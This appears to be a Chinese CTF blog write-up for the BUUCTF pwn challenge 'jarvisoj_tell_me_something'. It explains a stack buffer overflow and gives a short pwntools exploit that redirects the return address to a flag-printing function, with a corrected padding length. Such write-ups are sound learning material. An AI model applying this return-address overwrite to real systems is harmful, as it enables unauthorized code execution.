buuctf ---- getshell集合(未完)

buuctf ----- jarvisoj_tell_me_something

buuctf ---- getshell集合(未完)_第1张图片
运行程序得

buuctf ---- getshell集合(未完)_第2张图片
使用64IDA查看程序

buuctf ---- getshell集合(未完)_第3张图片
可以看到存在溢出漏洞

查看字符串,发现flag.txt

buuctf ---- getshell集合(未完)_第4张图片存在后门函数,该函数的含义是输出flag

buuctf ---- getshell集合(未完)_第5张图片
思路:改变ret addr 为good_game函数的地址。

编写exp

from pwn import*

io = remote("node4.buuoj.cn",29817)

bin_addr = 0x400620

payload = 'a'*0x8c+p64(bin_addr)

io.sendline(payload)

io.interactive()

buuctf ---- getshell集合(未完)_第6张图片
但是运行失败了

原因是什么呢?

查看main函数的汇编代码发现

buuctf ---- getshell集合(未完)_第7张图片
原来是main函数没有压入rbp 所以垃圾数据应是0x88而不是0x8c

from pwn import*

io = remote("node4.buuoj.cn",29817)

bin_addr = 0x400620

payload = 'a'*0x88+p64(bin_addr)

io.sendline(payload)

io.interactive()

buuctf ---- getshell集合(未完)_第8张图片

你可能感兴趣的:(pwn,安全)